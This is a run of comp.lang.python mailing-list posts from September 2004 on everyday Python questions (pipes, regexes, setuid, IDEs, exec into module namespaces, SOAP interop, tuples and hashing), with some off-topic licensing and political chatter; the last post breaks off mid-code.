iBooks start at about HALF what you remember. Not here. :-) As I said, I wish we had the prices you do in Europe and in the US. > Why Apple chooses to price stuff cheap in richer countries, US foremost, > and dearer the poorer the country, I dunno. I think their logistics cost is lower in the US than in the rest of the world. Their market is bigger there too. > That's very important -- piracy is pretty widespread in Southern Europe, > too, and from my POV what it does is first and foremost present unfair > competition to free software. I am tired of showing clients that they have to be very careful not to buy a cat instead of a rabbit... ;-) > Hmmm, but it seems that the main issue you have with Qt is that it's > free only if you DO use it on and for free software -- that's what the > GPL is all about. If a free-software culture it's OK; in a > software=for=money culture it's OK; it seems to grate only on developers > who want not to pay for the software they use but still charge for the > software they sell. I would pay for it if the price was fair to me. It isn't, so I have to avoid using it. It's that simple... Fortunately, we're starting to do more free software than closed software. Things are getting better. :-) > Personally, I'm extremely happy that the culture of commercial software > is moving away from such complicated pricing schemes that were the norm > some years ago. The attempt to reflect "what is this sw actually worth There are some market niche where it still happens... And for software licensed per CPU, how is it billed on HT enabled CPUs? ;-) The hardware starts adding more complications to such commercial licensing world. > to YOU" doesn't work, anyway. I can have a 1000-$ program where, say, > Qt's functionality is actually 80% of what I'm doing -- a program that's > mostly-GUI... -- and I can have a 10000-$ one where the GUI matters very > marginally, say the program is mostly about clever heuristic engines > scavenging through DBs and networks and all I want is a little sysadm > GUI console on the side for a customer's sysadm to keep an eye on > things. Then, this is your choice to use such a GUI or not. It's the same thing I do with the free / not free (free beer) stuff now. If the software I write is free (free speech and possibly free beer), I don't mind that much in making it GPL or BSDL or anothr free license (I personally like the GPL idea, so this is the one I use). >> Of course, I'm looking at my side, they found that their business model >> is different and I must either accept it or not use it. For now, not >> using it -- even liking more the appearance of the widgets -- has been >> my choice. > > It's definitely your choice. I do hope you get some opportunity to do > GPL development and try it out, because I think it's really good. I do it. And I like it too. But I have to pay the bills and even though everything is transferred to the customer, some of them don't like the idea of a free license to their software. >> I guess I deviated a lot from the original intention of the post, and >> I'm sorry for that. It wasn't my intention. I just wanted to see the >> toolkit on the OSs it supports :-) > > If you're looking for a native appearance on Windows, as I understand > things, you won't get it with PyGUI until somebody makes a back-end... I am not looking for it. I use wxPython and it does give me that. And the native look on Mac too. I was just saying that a GUI toolkit with no pictures of how it looks like on its website is bad marketing. I hope it all doesn't start again :-) -- Godoy. From belred1 at yahoo.com Mon Sep 27 21:47:31 2004 From: belred1 at yahoo.com (Bryan) Date: Tue, 28 Sep 2004 01:47:31 GMT Subject: time Message-ID: can someone explain to me why i get different values for the tm_yday and tm_isdst values? >>> import rfc822 >>> rfc822.parsedate('Mar 1 01:03:59 2004') (2004, 3, 1, 1, 3, 59, 0, 0, 0) >>> import time >>> time.strptime('Mar 1 01:03:59 2004', '%b %d %H:%M:%S %Y') (2004, 3, 1, 1, 3, 59, 0, 61, -1) thanks, bryan From remy.blank_asps at pobox.com Tue Sep 21 12:53:33 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Tue, 21 Sep 2004 18:53:33 +0200 Subject: OT: regex to find email In-Reply-To: <4a0cafe2040921084828f898d8@mail.gmail.com> References: <4a0cafe204092108038020f72@mail.gmail.com> <4a0cafe2040921084828f898d8@mail.gmail.com> Message-ID: Josh Close wrote: > Ok, I see how this works.... but now how would I add {3,64} for the id > and {3,255} for the domain? I forgot to throw that part in earlier. I > believe a valid id is 3-64 chars and domain is 3-255 chars. > > So basically like this > > [\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+] > > ......I know that won't work, but I'd like to verify that the id is > 3-64 chars long, and doesn't start with -._ and the domain is 3-255 > chars long and doesn't start with -._ but must have a dot and tld's > like .com.au need to be accounted for also. Let's see. Testing for a 3-64 char id should be easy: [a-zA-Z0-9][\w\.-]{2,63}@ ... You can't use \w in the first bracket, because you want to exclude the underscore. About the domain, I can't remember if the total length is limited, or if each individual component is. The latter case is easy (say, for components with lenghts 3-64): ... @([\w-]{3,64}\.)+[\w-]{3,64} But I suspect this is not yet what you want. If you want to make sure the total length of the domain is 3-255 chars, you'll have to extract it after a match and check its length. Extraction could be done with a named group: ... @(?P([\w-]{3,64}\.)+[\w-]{3,64}) Although I'm not sure how nested groups are handled. Combining both parts and defining a group for the id as well gives: (?P[a-zA-Z0-9][\w\.-]{2,63})@(?P([\w-]{3,64}\.)+[\w-]{3,64}) (All on one line, obviously) HTH, -- Remy Remove underscore and suffix in reply address for a timely response. From rschroev_nospam_ml at fastmail.fm Wed Sep 1 03:33:55 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Wed, 01 Sep 2004 07:33:55 GMT Subject: age of Python programmers In-Reply-To: <-sednbGJb4Wes6jcRVn-sA@comcast.com> References: <889cbba0.0408181206.1812881c@posting.google.com> <-sednbGJb4Wes6jcRVn-sA@comcast.com> Message-ID: William Stein wrote: > nnes wrote: > > >>JanC wrote in message >>news:... >> >>>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad >>>de Medicina schreef: >>> >>>>30 years old. First program at 11 (Basic) on ZX Spectrum. >>> >>>/me too (now 30 & started with ZX Spectrum Basic at 11) >> >>count another one, me too now 30 years, started with ZX Spectrum Basic at >>11 > > > Me as well; I'm 30 years old and I started programming BASIC on the > TI-99/4A. Ah, the TI-99/4A, my first computer as well. First standard BASIC, then Extended BASIC (you needed some kind of cartridge for that, like the ones used for games). A few years later I made the step to the PC, an XT at the time. A clone, but an advanced model: it could not only run at 4.77MHz, but using the turbo button also at 10MHz! I programmed in GW-BASIC, since it was all I had (and knew). Later I got a Turbo Pascal compiler from somewhere, so I learned Pascal. Some Fortran at university, even later C, a (very tiny) bit of Perl; C++, PHP, and finally Python. -- "Codito ergo sum" Roel Schroeven From cbfalconer at yahoo.com Thu Sep 9 15:41:01 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 09 Sep 2004 19:41:01 GMT Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> Message-ID: <41409A6B.E618952C@yahoo.com> Chuck Dillon wrote: > ... snip ... > > It's easy to say we *don't* need but not so easy to demonstrate. > You don't even offer a hand wave attempt at articulating an > alternative. In the political world everything is subject to > debate. Taking the war to the middle east, increasing policing > powers, increasing intelligence capabilities... But in the real > world there is a huge threat and action must be taken. Must it? I am not claiming that it must not, but that the matter deserves more thought than a panic reaction. The very first thing to settle should be the objectives. Then the means and costs of achieving such can be considered. -- "Churchill and Bush can both be considered wartime leaders, just as Secretariat and Mr Ed were both horses." - James Rhodes. "We have always known that heedless self-interest was bad morals. We now know that it is bad economics" - FDR From q852913745 at aol.com Sun Sep 12 19:55:29 2004 From: q852913745 at aol.com (Q852913745) Date: 12 Sep 2004 23:55:29 GMT Subject: Newbie: tuple list confusion. Message-ID: <20040912195529.03437.00000338@mb-m27.aol.com> I am trying to learn python from 'Python programming for the absolute beginner' I'm sure I understand the difference between tuples and lists, but while experimenting with what I have learned so far, I was suprised that this code worked. # Create list a a=["start",878,"item 1",564354,"item 2"] print "length of list a =",len(a) print "a =",a ; print # Create tuple b b=(234,"item 3",456,"end") print "length of tuple b =",len(b) print "b =",b ; print print "Add b onto a" # Shouldn't work! #--------------------------------------------- # a=a+b # causes an error as it should, a+=b # but why is this ok? #--------------------------------------------- print "a =",a print "length of a =",len(a) print;c=raw_input("Press enter to exit") My book states that a=a+b and a+=b are the same, and that different 'types' of sequence cannot be joined together. From alex_stante at yahoo.de Mon Sep 13 17:20:59 2004 From: alex_stante at yahoo.de (Alexander Stante) Date: 13 Sep 2004 14:20:59 -0700 Subject: How to change the superclass of an instance? Message-ID: Hello, I want to do the following. I have a function called display.set_mode() which returns an instance of Surface. I want to add some bound functions to this object therefore I thought to do something like: >>> class screen(Surface): ... def __new__(cls): ... a = display.set_mode() ... a.__class__ = screen ... return a ... def new_func(self): ... pass My idea was that my new created object has an attribute resolution order of instance -> screen -> Surface and therefore I can use all Surface methods on the instance and the new_func(). But I got the error message: "TypeError: __class__ assignment: only for heap types" I also tried to add a bound function (to the returned Surface of display.set_mode()) with setattr and the appropriate arguments but I got the error message: pygame.Surface object has no attribute 'update' so I think Surface is somehow implemented immutable by intercepting attribute access via __getattribute__ My question, how can I realize that I described above, because my attempt seems to be wrong. An other idea I had would be wrapping a class around the Surface returned by display.set_mode() and then intercepting attribute references with __getattr__ on that class and if not found in class or instance, delegate them to the Surface. I think this way it would look liked the wrapping class is a subclass of Surface. But Surface don't have a __dict__ and I don't know an other way to call a function by his name. Bye Alex From chrisks at NOSPAM.udel.edu Mon Sep 6 06:37:20 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Mon, 06 Sep 2004 10:37:20 GMT Subject: Pipe IO Problem? Message-ID: A wrote a small class to handle IO through pipes, but the connection only seems to work in one direction. The following code defines connection.py, engine.py, and controller.py. Once connected, the engine is only able to send and the controller recieve. Also, this only works when using popen2.popen3. Using os.popen3 doesn't work at all and seems to behave completely differently. What could be causing these problems? Any help is greatly appreciated. ##------------------------------------------- # connection.py import sys import threading import socket import time class ConnectionError(Exception): '''Encapsulates connection errors.''' pass class Connection: '''Base class for an interprocess connection. This class is meant to be used in two primary ways: First, as a caller, the initiator of the connection. Second, as a callee, the recepiant of the connection. However, once the connection has been made, general use should behave symmetrically.''' def __init__(self, in_handler=None): self.connected = False self._recv_handler = in_handler self._recv_buffer = [] # stores data if no in_handler given self._recv_lock = threading.Lock() self._send_lock = threading.Lock() def _send_raw(self, string): '''Outgoing handler.''' raise Exception, 'this method must be overridden' def _recv_raw(self): '''Incoming handler.''' raise Exception, 'this method must be overridden' def _launch_recv_handler(self): '''Launches general reception handler.''' assert not self.connected, 'connection already open' print 'launching recv handler' self.connected = True t = threading.Thread(target=self._recv_raw) t.setDaemon(True) t.start() def _launch_data_handler(self, data): '''Launches user defined reception handler.''' if self._recv_handler: # launch custom handler (ie in_handler) if present t = threading.Thread(target=self._recv_handler, args=(data,)) t.setDaemon(True) t.start() else: # otherwise append to buffer self._recv_lock.acquire() self._recv_buffer.append(data) self._recv_lock.release() def open(self): raise Exception, 'this method must be overridden' def close(self, message=None): raise Exception, 'this method must be overridden' def send(self, data): assert self.connected, 'not connected' self._send_raw(data) def recv(self): '''Blocks until it has data to return. Only use this if you haven't specified a reception handler.''' assert self.connected, 'not connected' # wait for data while not len(self._recv_buffer): time.sleep(0.1) # get data self._recv_lock.acquire() data = self._recv_buffer.pop(0) self._recv_lock.release() return data def pending(self): '''True if pending data in the buffer. False otherwise.''' return bool(len(self._recv_buffer)) def name(self): pass class Pipe(Connection): '''Base class for a pipe connection.''' def __init__(self, *args, **kargs): Connection.__init__(self, *args, **kargs) def _send_raw(self, string): assert self.connected, 'not connected' try: self._send_lock.acquire() self._outp.write(string+'\n') self._outp.flush() self._send_lock.release() except Exception, e: self._send_lock.release() self.close(e) raise Exception, e def _recv_raw(self): while self.connected: # get data try: data = self._inp.readline() except Exception, e: self.close(e) break if not len(data): time.sleep(0.1) continue # launch handler self._launch_data_handler(data) def open(self, target=None): assert not self.connected, 'connection already open' if target: #import os # different functionality? #(self._inp, self._outp, self._errp) = os.popen3(target) import popen2 (self._inp, self._outp, self._errp) = popen2.popen3(target) else: from sys import stdin, stdout self._inp = stdin self._outp = stdout self._launch_recv_handler() def close(self, message=None): assert self.connected, 'connection already closed' self.connected = False self._inp.close() self._inp = None self._outp.close() self._outp = None self._errp.close() self._errp = None if message: print message ##------------------------------------------- # engine.py import time from connection import * outfile = open('enginetest.data', 'w') def print_received(data): print >>outfile, data conn = Pipe(in_handler=print_received) conn.open() for i in range(5): time.sleep(1) conn.send('engine '+str(i)) outfile.close() ##------------------------------------------- # controller.py import time from connection import * def print_received(data): print 'controller received:',data conn = Pipe(in_handler=print_received) conn.open('pipetest_engine.py') for i in range(5): print 'controller',i time.sleep(1) conn.send(str(i)) From albalmer at att.net Tue Sep 14 11:14:24 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 14 Sep 2004 08:14:24 -0700 Subject: Xah Lee's Unixism References: <10kcn40mkm43c8f@corp.supernews.com> Message-ID: On Tue, 14 Sep 2004 02:50:40 -0000, SM Ryan wrote: >Taliban is regaining control in Afghanistan after the USA abandonned the >war on terrorism to seek oil profits. Well, I'll be damned! There actually *was* someone who believed the recent Al Qaeda propaganda video! -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From michele.simionato at gmail.com Fri Sep 17 12:16:44 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 17 Sep 2004 09:16:44 -0700 Subject: permission problem with os.setuid References: <4edc17eb.0409170046.1fe1d2d9@posting.google.com> Message-ID: <4edc17eb.0409170816.51ca0adc@posting.google.com> Benjamin Niemann wrote in message news:... > Once a process is running as nobody (or any other non-root user account), you > cannot simple change the uid - that's a (very important) feature not a bug! To > change the uid you have to be root first, 'sudo' may help you - though I don't > know about the details how this works... > Possible pseudocode (and by pseudo I mean pseudo ;) > > if os.getuid() == 0: # I'm root > os.setuid(501) > elif os.getuid() != 501: > os.exec*("sudo", "myscript.py") # script is restarted, now as root > > assert os.getuid() == 501 Uhm ... I wanted somewhat to avoid "sudo". Anyway, at the end I have decided to change the design so that the script is always run as nobody. This solves as well other issues and I am happy with it. Michele Simionato From programmer.py at gmail.com Mon Sep 13 16:22:46 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Mon, 13 Sep 2004 15:22:46 -0500 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <864d3709040913131077f1732d@mail.gmail.com> References: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: On Mon, 13 Sep 2004 17:10:16 -0300, Carlos Ribeiro wrote: [ snip! ] > > The funny thing is that I don't need anything particularly fancy. A > good Python editor, syntax coloring, a few helpers (moving blocks & > stuff). Debugging is good, but it's not what I really miss. Even form > designers -- I could live without them. What I really miss are stuff > that I regard as basic: a tabbed editor window for multiple files, and > a good project manager interface -- a place where I can find all the > files belonging to my projects without having to move around the > directory tree whenever I have to do anything. Could I do it using > only command-line tools? Probably, but it's not comfortable, > convenient or productive. A good IDE would bring me these three things > that I'm longing for. I use (FWIW) Stani's Python Editor (http://spe.pycs.net/). While it is far from perfect, it is very functional and offers: o Syntax highlighting o wxGlade support built in (well, launches wxGlade which comes bundled) o Module auto-open support (Put your cursor "into" an imported module name, hit ctrl-enter and SPE will load it into the editor. Probably not the right technical name) o Tabbed edit windows. Each edit window has its own tab, for easy switching back / forth. o Todo list. But a comment like "# TODO: do something" and SPE will add it to the TODO list. o PyChecker support built in. o Selection comment / uncomment. Select text and uncomment / comment it. o Auto completion. It's strange and I don't quite understand it, but the editor can "guess" at what methods/properties are available for a class by inspecting the class' code. Also works really well for built-ins and libraries. o Module explorer. Shows all classes / functions / imports defined in the module being edited. What SPE doesn't have: o Built-in debugging support o Project based configuration. That is files are saved independently of one another, they aren't grouped as projects. I'm sure i've forgot to mentions some of the things that SPE does / doesn't have. HTH, jw From bokr at oz.net Tue Sep 14 16:57:53 2004 From: bokr at oz.net (Bengt Richter) Date: 14 Sep 2004 20:57:53 GMT Subject: funcs vs vars in global namespace References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> <4IG1d.13$26.5@llslave.llan.ll.mit.edu> Message-ID: On Tue, 14 Sep 2004 14:25:04 -0400, David Rysdam wrote: >Alex Martelli wrote: >> David Rysdam wrote: >> ... >> >>>OK, dumb question #1: >>> >>>Why do this: >>> >>>sub_module = __import__(which_module_this_time) >>>vars(sub_module).update(which_dict_this_time) >>> >>>When I could just do this: >>> >>>__import__(which_module_this_time, which_dict_this_time) >>> >>>? >> >> >> You can do whatever you wish, but what makes you think these constructs >> have similar effects? Quoting from Python's online docs on __import__, >> >> """ >> the standard implementation does not use its locals argument at all, >> and uses its globals only to determine the package context of the >> import statement >> """ >> >> In short, the standard implementation of __import__ does NOT alter in >> any way the dict of the module it imports. >> >> >> Alex > >Ah, I see. > >Your "which_dict_this_time" dictionary, how are you imagining that >working? I was just mapping function name strings to functions >({'logError':logError}), but (long story short) that isn't working how I >want. But shouldn't I be able to define the function right there in the >dictionary itself? > >Perhaps this is getting too non-obvious, magical and unmaintainable, though. Maybe this will give you some ideas: Here empty.py is just a single blank text line with a (windows in this case, which for the heck of it I'll show in binary) EOL: >>> open('empty.py','rb').read() '\r\n' >>> import empty When you import, you automatically get some stuff in the module directory >>> dir(empty) ['__builtins__', '__doc__', '__file__', '__name__'] >>> vars(empty).keys() ['__builtins__', '__name__', '__file__', '__doc__'] If you have source defining a function, you can exec the definition in a directory, which will become what the function sees as its global directory. So, >>> exec """ ... def foo(a): ... return a+b ... """ in empty.__dict__ It shows up: >>> dir(empty) ['__builtins__', '__doc__', '__file__', '__name__', 'foo'] since b is retrieved from the global dict, we better put something there. That happens to be the dict that stores module attributes, so we can: >>> empty.b = 100 >>> empty.foo(23) 123 >>> empty.b = 200 >>> empty.foo(23) 223 ... as expected. We can verify that foo's global dict is empty's dict: >>> empty.foo.func_globals is empty.__dict__ True If you have definitions of functions in source files, you can execfile them in a similar manner: First I'll creat a source right here, though I could have done it in an editor >>> open('baz.py','w').write(""" ... def baz(x): ... return 2*b+x ... """) Verify >>> print '----\n%s----'%open('baz.py').read() ---- def baz(x): return 2*b+x ---- Use execfile do define it in empty: >>> execfile('baz.py', empty.__dict__) It shows up: >>> dir(empty) ['__builtins__', '__doc__', '__file__', '__name__', 'b', 'baz', 'foo'] Check b: >>> empty.b 200 >>> empty.baz(44) 444 HTH. Note that exec-ing or execfile-ing untrusted source is not safe. BTW, if in the same interpreter execution session you import empty from another module, the updated contents should be visible. E.g., >>> open('mimpbaz.py','w').write("""import empty ... """) >>> print '----\n%s----'%open('mimpbaz.py').read() ---- import empty ---- >>> import mimpbaz >>> dir(mimpbaz) ['__builtins__', '__doc__', '__file__', '__name__', 'empty'] >>> mimpbaz.empty is empty True >>> mimpbaz.empty.b 200 >>> mimpbaz.empty.baz(3056) 3456 recalling that baz did >>> 2*200+3056 3456 Note that the source of empty.py has not changed >>> print '----\n%s----'%open('empty.py').read() ---- ---- >>> open('empty.py').read() '\n' Of course, it doesn't have to start out empty. The point is exec and execfile don't save a compiled .pyc for you to make it faster next time, whereas import does (unless it's prevented by lack of write privilege or such, I think). Regards, Bengt Richter From greg at cosc.canterbury.ac.nz Sun Sep 5 22:00:58 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Mon, 06 Sep 2004 14:00:58 +1200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com> Message-ID: <413BC4DA.9050401@cosc.canterbury.ac.nz> Alex Martelli wrote: > Roy Smith wrote: > > > Tuple (and string) equality is based on content too. So what? I can > > give my data class an __eq__ method, and then my class instance equality > > would also based on content. > > And your class's instances wouldn't then be hashable any more unless > they defined a __hash__ method -- have you tried? And even if you did give it a __hash__ method, you wouldn't be able to get it to work properly as a dict key. It's an inescapable fact of the way dicts work. > > So, to restate my original question, why should my mutable, > > content-based-eqality class instance be a valid dictionary key, > > when a list is not? It wouldn't be a valid dictionary key. You might be able to fool Python into accepting it, but it would malfunction. Greg From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 30 12:31:31 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Thu, 30 Sep 2004 18:31:31 +0200 Subject: Test html References: <415bf448$0$21152$8fcfb975@news.wanadoo.fr> Message-ID: <415cee92$0$948$8fcfb975@news.wanadoo.fr> Bonsoir ! J'ai l'impression que mon message pr?c?dent n'est pas pass? sur tous les serveurs. Avec usenet, on n'est jamais s?r... Michel Claveau From ialbert at mailblocks.com Wed Sep 29 12:52:26 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 29 Sep 2004 12:52:26 -0400 Subject: Avoiding shell metacharacters in os.popen In-Reply-To: References: Message-ID: Nick Craig-Wood wrote: > Avoiding shell metacharacter attacks is a must for secure programs. Not passing down commands into a shell is a must for secure programs. What you should do is recognize a command, identify it as a valid and allowed one, then call it yourself. If you think that escaping metacharacters gives you any kind of security you are deceiving yourself. Istvan. From b.niemann at betternet.de Tue Sep 14 04:39:05 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Tue, 14 Sep 2004 10:39:05 +0200 Subject: Problems getting Python client (SOAPpy) to consume .NET web services In-Reply-To: References: Message-ID: Michael Hatmaker wrote: > I have begun experimenting with web services, and I created some > simple web services in C# and was able to install them with IIS and > create an equally simple C# client to consume them. > > My next experiment was to use Python to consume these same web > services, and even though I am able to get Python to consume web > services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot > get web services created with MS.NET to work. Actually, methods with > no arguments work fine, but any methods that take arguments do not > work. There is no error, it is simply that an incorrect result is > returned (i.e. my simple Add(int a, int b) web service always returns > zero). > > I tried playing around with the > [SoapDocumentService(Use=SoapBindingUse.Literal, > ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I > have had no success as of yet. I don't think it's just me since I > cannot consume any of the web services on webmethods.net that are > created using MS.NET. > > My Python code looks something like this: > > from SOAPpy import WSDL > server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL') > server.SayHello() # works correctly - just prints a hello message > server.Add(3, 4) # does not work - returns zero > > Any tip that would point me in the right direction would be greatly > appreciated! I tried this some time before, too. Actually cannot remember, if I finally succeeded. I think using keyword arguments in Python got me one step further, e.g.: server.Add(a=3, b=4) From inderjitrai at yahoo.com Mon Sep 13 21:54:56 2004 From: inderjitrai at yahoo.com (someguy) Date: Tue, 14 Sep 2004 01:54:56 GMT Subject: apache error Message-ID: Hi, I realise that this might not be the appropriate newgroup for this question but there isn't a newsgroup on apache. I'm using python to do some cgi programming and i'm using DOM to sort a table when the user clicks on a different heading. Here is a sniplet of code: Rank The sortTable() is a javascript method in an external file. For some reason i got a the following error when i click on the table header: Forbidden You don't have permission to access /cgi-bin/ on this server. Apache/2.0.50 (Win32) mod_python/3.1.3 Python/2.3.3 PHP/4.3.8 Server at 24.156.164.6 Port 80 I'm running Apache on Windows Xp. Any suggestions as to what premission needs to be changed? TIA From maney at pobox.com Mon Sep 6 12:12:48 2004 From: maney at pobox.com (Martin Maney) Date: Mon, 6 Sep 2004 16:12:48 +0000 (UTC) Subject: Inline Conditionals? References: <1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com> <1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com> <7xbrgxobts.fsf@ruckus.brouhaha.com> <1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com> <1gjopop.1qle37n1utd7prN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > It's not the typo that "becomes proof" (or, rather, indication) of the > higher readability of sparse expression: it's the fact that so many > readers noticed it and let me know, privately or publically. Why do you Okay, let me unpack the thought more fully (as I should have done since I was jumping on a weeks-old thread). There's a recurring argument, seen most often when dissing a usage one disagrees with (you're not by a long shot the only one who uses this, BTW). One grabs typos in ones opponents' examples and construes them as evidence of the inferiority of whatever it is one dislikes about their example, usually a stylistic quirk or a proposed change. This is a dubious argument on the face of it because it is so clearly selective: when a typo occurs in a stylistically orthodox chunk of code, it is nearly always regarde as being just a typo, not evidence of some deeper problem with the style. To properly ground this argument one would need to be an honest statistician and consistently account for typos in both orthodox and unorthodox code; even then, any imputed evidence against the unorthodox should account for the natural tendency to make more errors with the unfamiliar than with the familiar, as well as the impossibility of testing code (something we are constantly advised to do, both explicitly and implicitly) that uses features not currently available in the language. This new excuse for a typo in well-regarded, orthodox examples seems to rest upon a similarly weak foundation. At least I cannot ever recall seeing anyone who had used the above attack retract it when a dozen of his comrades turned out to have pointed out the same flaw at about the same time, but surely that is no less proof of the readability of a usage that one dislikes than it is on one's favorite tricks, eh? :-/ Ugh! That's far more words than this deserves, if not that the dubious argument is being wielded by someone whose opinions deservedly carry a lot of weight here. -- People make secure systems insecure because insecure systems do what people want and secure systems don't. -- James Grimmelmann From http Sat Sep 18 02:14:01 2004 From: http (Paul Rubin) Date: 17 Sep 2004 23:14:01 -0700 Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: <7xy8j8hzo6.fsf@ruckus.brouhaha.com> "Chris S." writes: > Is there any benefit to Pickle over YAML? Given that Pickle is > insecure, wouldn't it make more sense to support a secure > serialization format, one that's even readable to boot, such as YAML? > There's even a pure Python implementation at www.pyyaml.org Bleccch! From ialbert at mailblocks.com Tue Sep 14 11:29:46 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 14 Sep 2004 11:29:46 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: <0aidne7t9Or0k9rcRVn-qw@giganews.com> Carlos Ribeiro wrote: > On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea >>My search for a good IDE ended years ago when I started learning C++, >>and found EditPlus, http://www.editplus.com/ -- $30, free 30 day trial > Reading your feature list, it seems to be missing project management, > or to put it simply, to be able to track down what files are part of > the project without the need to actually walk around the directory > tree to hunt them down. I'll check it out, nonetheless. It does have project management. EditPlus is my favorite editor and every time I try another IDE I find the EditPlus does some things so much better that I'll go back to it. Istvan From p at ulmcnett.com Thu Sep 2 11:25:10 2004 From: p at ulmcnett.com (Paul McNett) Date: Thu, 2 Sep 2004 08:25:10 -0700 Subject: age of Python programmers In-Reply-To: <59e9fd3a040901222338f0a75c@mail.gmail.com> References: <822221bb04090109167035d328@mail.gmail.com> <59e9fd3a040901222338f0a75c@mail.gmail.com> Message-ID: <200409020825.10272.p@ulmcnett.com> Andrew Durdin writes: > There seem to be a lot of Pythoneers who started with BASIC > -- I guess that's what came with most "home computers" in > those days. I'm 35 now and while I did some BASIC programming back in '80-'82 on my Apple ][ 16K system in between playing Castle Wolfenstein, Lode Runner, and Wizardry, I come to Python programming from a FoxPro background, and have found Python to be easy to learn, capable, dynamic, fun to use, easy to read, easy to prototype, easy to debug, and did I say fun to use? Building data-centric 3-tier desktop and web business apps is what I'm using Python for, and I'm thrilled with the new decimal type and the general improvement of Python at a nice and steady rate. -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From p at ulmcnett.com Thu Sep 16 21:52:14 2004 From: p at ulmcnett.com (Paul McNett) Date: Thu, 16 Sep 2004 18:52:14 -0700 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <59e9fd3a04091618344d2d1fa3@mail.gmail.com> References: <10kjq35q7n2q28e@corp.supernews.com> <59e9fd3a04091618344d2d1fa3@mail.gmail.com> Message-ID: <200409161852.14408.p@ulmcnett.com> Andrew Durdin writes: > I was recently involved in a project which required producing > excel files programmatically (this was from VB *spew*). I > started off using COM, but it turned out to be unreasonably > slow for filling in all the cells that we needed to do; so > instead we output an XML spreadsheet. It was much faster, and > simpler in the end. I used COM to do an Excel spreadsheet once. It was pretty complex and took an outrageous amount of processing time. And then the client updated Excel and had to call me in because something in the COM interface changed. I wonder if your XML method has a better chance of surviving Excel "upgrades". I will certainly try to avoid COM in the future. -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From tjreedy at udel.edu Thu Sep 2 14:26:29 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 2 Sep 2004 14:26:29 -0400 Subject: Announcing PyCs, a new Python-like language on .Net References: <1093788608.645541@news.commspeed.net><7xoekq4ehv.fsf@ruckus.brouhaha.com> Message-ID: "Roy Smith" wrote in message news:roy-5662B4.09003502092004 at reader1.panix.com... > Ville Vainio wrote: >> I imagine regexps have been around long before perl, though I might be >> wrong. > > Regex's were around long before Perl. I first saw regex in about 1977 > or so when I was learning Unix v6. They were used extensively in ed, > sed, grep, awk, and maybe a few other tools. Perl grew up sometime in > the 80's, in an attempt to unify all those tool (plus shell) into a > single language. Regexes were invented by Stephen Kleene in the context of formal languages http://en.wikipedia.org/wiki/Stephen_Kleene http://en.wikipedia.org/wiki/Regular_expressions I believe in the 1950s The * operator once (and still is by some people) called the Kleene star. Terry J. Reedy From fluxent at yahoo.com Thu Sep 16 09:50:09 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 16 Sep 2004 06:50:09 -0700 Subject: newbie sending hex values over UDP socket References: <4147408f$0$65608$a1866201@newsreader.visi.com> Message-ID: Grant Edwards wrote in message news:<4147408f$0$65608$a1866201 at newsreader.visi.com>... > On 2004-09-14, Bill Seitz wrote: > > >> Excellent - now how about calculating a parity-check byte? > > > > Here's the definition of the parity byte: > > > > The column parity is one (1) byte. The eight bits of data in this > > byte re?flect the odd parity of all corresponding bits in the block; > > i.e. bit 8 of the Column Parity byte is the odd parity of all bit 8's > > in the entire block. > > Column parity will be calculated by the sender as follows: > > > > (a) Begin with the value 255. > > > > (b) Exclusive OR the current value with the value of the first (or > > next) data byte beginning with the header byte. Repeat until all > > bytes up to, but not includ?ing, the parity byte have been used. > > > > (c) Send the result in the column parity position. > > # assume "s" is the data for which we want a parity byte > > 